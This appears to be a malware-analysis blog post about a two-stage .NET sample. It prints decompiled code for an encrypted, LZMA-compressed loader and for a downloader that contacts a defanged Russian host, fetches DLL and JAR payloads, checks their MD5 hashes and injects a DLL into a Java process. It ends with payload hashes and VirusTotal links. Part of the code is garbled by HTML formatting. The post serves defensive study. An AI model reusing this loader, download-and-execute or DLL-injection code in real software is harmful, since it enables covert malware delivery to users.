Sophisticated Mutli-stage Malware (hosted on pussyhunters.ru)

I found an interesting malware instance on Hybrid-Analysis:

https://www.hybrid-analysis.com/sample/d314aac126e2bc980573d830b421f88759d8232eae1ff3b1021e038df65b6ab1?environmentId=100

This file is a .NET binary file. So, I decompiled it with ILSpy .NET decompiler to take a close look at its code.

neta-1

You can see its main function below (I removed most part of the array content):

private static int Main(string[] P_0)
{
    uint[] array = new uint[2479]
    {
        1577855463u,
        2828857993u,
        4140489464u,
        2608716692u,
        1989109008u,
        2597657387u,
        2241603555u,
        3264879030u,
        3308843330u,
        104908645u,
        // The rest is removed
    };
    Assembly executingAssembly = Assembly.GetExecutingAssembly();
    Module manifestModule = executingAssembly.ManifestModule;
    GCHandle gCHandle = Decrypt(array, 3383442103u);
    byte[] array2 = (byte[])gCHandle.Target;
    Module module = executingAssembly.LoadModule("koi", array2);
    Array.Clear(array2, 0, array2.Length);
    gCHandle.Free();
    Array.Clear(array, 0, array.Length);
    key = manifestModule.ResolveSignature(285212673);
    AppDomain.CurrentDomain.AssemblyResolve += Resolve;
    module.GetTypes();
    MethodBase methodBase = module.ResolveMethod(key[0] | key[1] << 8 | key[2] << 16 | key[3] << 24);
    object[] array3 = new object[methodBase.GetParameters().Length];
    if (array3.Length != 0)
    {
        array3[0] = P_0;
    }
    object obj = methodBase.Invoke(null, array3);
    if (obj is int)
    {
        return (int)obj;
    }
    return 0;
}

 private static GCHandle Decrypt(uint[] P_0, uint P_1)
{
    uint[] array = new uint[16];
    uint[] array2 = new uint[16];
    ulong num = P_1;
    for (int i = 0; i < 16; i++)
    {
        num = num * num % 339722377uL;
        array2[i] = (uint)num;
        array[i] = (uint)(num * num % 1145919227uL);
    }
    array[0] = (array[0] ^ array2[0]) * 1313239741;
    array[1] = (uint)((int)(array[1] ^ array2[1]) ^ -1202084285);
    array[2] = (array[2] ^ array2[2]) * 1313239741;
    array[3] = (uint)((int)(array[3] ^ array2[3]) ^ -1202084285);
    array[4] = (uint)((int)(array[4] ^ array2[4]) + -1545941219);
    array[5] = (uint)((int)(array[5] + array2[5]) + -1545941219);
    array[6] = (uint)((int)(array[6] ^ array2[6]) + -1545941219);
    array[7] = (uint)((int)(array[7] ^ array2[7]) ^ -1202084285);
    array[8] = (uint)((int)(array[8] ^ array2[8]) + -1545941219);
    array[9] = (uint)((int)(array[9] * array2[9]) ^ -1202084285);
    array[10] = (uint)((int)(array[10] * array2[10]) + -1545941219);
    array[11] = (uint)((int)(array[11] ^ array2[11]) ^ -1202084285);
    array[12] = (uint)((int)(array[12] + array2[12]) + -1545941219);
    array[13] = (uint)((int)(array[13] ^ array2[13]) + -1545941219);
    array[14] = (array[14] + array2[14]) * 1313239741;
    array[15] = (uint)((int)(array[15] + array2[15]) + -1545941219);
    Array.Clear(array2, 0, 16);
    byte[] array3 = new byte[P_0.Length << 2];
    uint num2 = 0u;
    for (int j = 0; j</pre>
&gt; 8);
        array3[num2 + 2] = (byte)(num3 &gt;&gt; 16);
        array3[num2 + 3] = (byte)(num3 &gt;&gt; 24);
        num2 += 4;
    }
    Array.Clear(array, 0, 16);
    byte[] array4 = Decompress(array3);
    Array.Clear(array3, 0, array3.Length);
    GCHandle result = GCHandle.Alloc(array4, GCHandleType.Pinned);
    ulong num4 = num % 9067703uL;
    for (int k = 0; k &lt; array4.Length; k++)
    {
        array4[k] ^= (byte)num;
        if ((k &amp; 0xFF) == 0)
        {
            num = num * num % 9067703uL;
        }
    }
    return result;
}

internal static byte[] Decompress(byte[] P_0)
{
    MemoryStream memoryStream = new MemoryStream(P_0);
    LzmaDecoder lzmaDecoder = new LzmaDecoder();
    byte[] array = new byte[5];
    memoryStream.Read(array, 0, 5);
    lzmaDecoder.SetDecoderProperties(array);
    long num = 0L;
    for (int i = 0; i &lt; 8; i++)
    {
        int num2 = memoryStream.ReadByte();
        num |= (long)((ulong)(byte)num2 &lt;<span id="mce_SELREST_start" style="overflow:hidden;line-height:0;"></span>&lt; 8 * i);
    }
    byte[] array2 = new byte[(int)num];
    MemoryStream memoryStream2 = new MemoryStream(array2, true);
    long num3 = memoryStream.Length - 13;
    lzmaDecoder.Code(memoryStream, memoryStream2, num3, num);
    return array2;
}

In line 19, the long array object is decrypted by Decrypt function. The result object is a GCHandle object. The content in the GCHandle object is used to create a Module (on line 21), and then one of its methods is invoked (on line 34).

The decrypted code is another .NET binary file. So, again we can decompile it with ILSpy to see its content.

netb-1

You can see the content of main function below (http is replaced with hxxp to prevent accidental clicking):

[STAThread]
private static void Main()
{
    try
    {
        string text = SendPOST("hxxp://pussyhunters.ru/mix/check.php", "getHash=True");
        string text2 = "C:\\Mix\\";
        string path = "C:\\Program Files (x86)\\Java\\";
        WebClient webClient = new WebClient();
        string[] array = text.Split(':');
        if (!Directory.Exists(text2))
        {
            Directory.CreateDirectory(text2);
        }
        if (!Directory.Exists(path))
        {
            MessageBox.Show("Скачайте Java (32-разрядная версия).", "Ошибка запуска!", MessageBoxButtons.OK, MessageBoxIcon.Hand);
            Process.Start("hxxps://www.java.com/ru/download/manual.jsp");
            Application.Exit();
        }
        else
        {
            if (!CalculateMD5(text2 + "\\Bypass.lib").Equals(array[0]))
            {
                if (File.Exists(text2 + "\\Bypass.lib"))
                {
                    File.Delete(text2 + "\\Bypass.lib");
                }
                webClient.DownloadFile("hxxp://pussyhunters.ru/mix/Bypass.lib", text2 + "\\Bypass.lib");
            }
            if (!CalculateMD5(text2 + "\\x32.dll").Equals(array[1]))
            {
                if (File.Exists(text2 + "\\x32.dll"))
                {
                    File.Delete(text2 + "\\x32.dll");
                }
                webClient.DownloadFile("hxxp://pussyhunters.ru/mix/x32.dll", text2 + "\\x32.dll");
            }
            if (!CalculateMD5(text2 + "\\Launcher.jar").Equals(array[3]))
            {
                if (File.Exists(text2 + "\\Launcher.jar"))
                {
                    File.Delete(text2 + "\\Launcher.jar");
                }
                webClient.DownloadFile("hxxp://pussyhunters.ru/mix/Launcher.jar", text2 + "\\Launcher.jar");
            }
            if (!CalculateMD5(Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\YhfNbQOpZ.jar").Equals(array[4]))
            {
                if (File.Exists(text2 + "\\YhfNbQOpZ.jar"))
                {
                    File.Delete(text2 + "\\YhfNbQOpZ.jar");
                }
                webClient.DownloadFile("hxxp://pussyhunters.ru/mix/YhfNbQOpZ.jar", Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\YhfNbQOpZ.jar");
            }
            if (CalculateMD5(text2 + "\\Bypass.lib").Equals(array[0]) &amp;&amp; CalculateMD5(text2 + "\\x32.dll").Equals(array[2]) &amp;&amp; CalculateMD5(text2 + "\\Launcher.jar").Equals(array[3]) &amp;&amp; CalculateMD5(Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\YhfNbQOpZ.jar").Equals(array[4]))
            {
                Process.Start(new ProcessStartInfo("javaw", "-jar " + text2 + "\\Launcher.jar"));
                Thread.Sleep(1000);
                if (Process.GetProcessesByName("javaw").Length == 1)
                {
                    int processId = GetProcessId("javaw");
                    if (processId &gt;= 0)
                    {
                        IntPtr hProcess = OpenProcess(2035711u, 1, processId);
                        InjectDLL(hProcess, text2 + "\\x32.dll");
                        Process.Start(new ProcessStartInfo("javaw", "-jar " + Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\YhfNbQOpZ.jar"));
                        Application.Exit();
                    }
                }
                else
                {
                    MessageBox.Show("Что-то пошло не так, перезапустите программу!", "Ошибка запуска!", MessageBoxButtons.OK, MessageBoxIcon.Hand);
                    Application.Exit();
                }
            }
        }
    }
    catch (Exception ex)
    {
        MessageBox.Show("Что-то пошло не так...\r\n[" + ex.ToString() + "]", "Ошибка запуска!", MessageBoxButtons.OK, MessageBoxIcon.Hand);
    }
}
<span id="mce_SELREST_start" style="overflow:hidden;line-height:0;"></span>

In line 6, it sends an HTTP POST request to hxxp://pussyhunters.ru/mix/check.php. Using wget command, below we can create and send the same HTTP POST request manually to the check.php page:

netb-2

which is an array of five md5 hashes separated with colon (:)

b09825b34c420d73084b7a6326d3aae8   (line 23)

813f5be19d63d69e7f255c754d1d9e4a   (line 31)

86a64afaba3f9088e859f127ca7fa25c  (line 55)

f8b0fd96829496bb6163e1a4bf510d36  (line 38)

63b54502635e86388b520827e637d449   (line 47)

It is used to check the validity of its files on the filesystem. If the md5 hashes of the files do not match with these values, the malware gets the files again.

The jar files are heavily obfuscated, even YhfNbQOpZ.jar cannot be compiled with jd-gui decompiler.

java1.PNG

java2.PNG

None of the files downloaded by the c# code is recognized by antivirus products as of writing this blog posts:

 

https://www.virustotal.com/#/file/4829ef2f0d0f3346e7037bf9814b69cfa1245ff308de9ab7d603e99e1f3c5cf4/detection

https://www.virustotal.com/#/file/58e4c4224f5cf11b6b07b01a05c10692d921945f51254ec8bcf79208b6d0ceee/detection

https://www.virustotal.com/#/file/dc9179683f11b1a4d34d54659cf7ff2302f1719ebcf150728a0319a15e559e3c/detection

https://www.virustotal.com/#/file/28d5b8766ebdcb4367b367126e8f33bba709a3fdcf7cda48431d903a2b59d5ca/detection

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s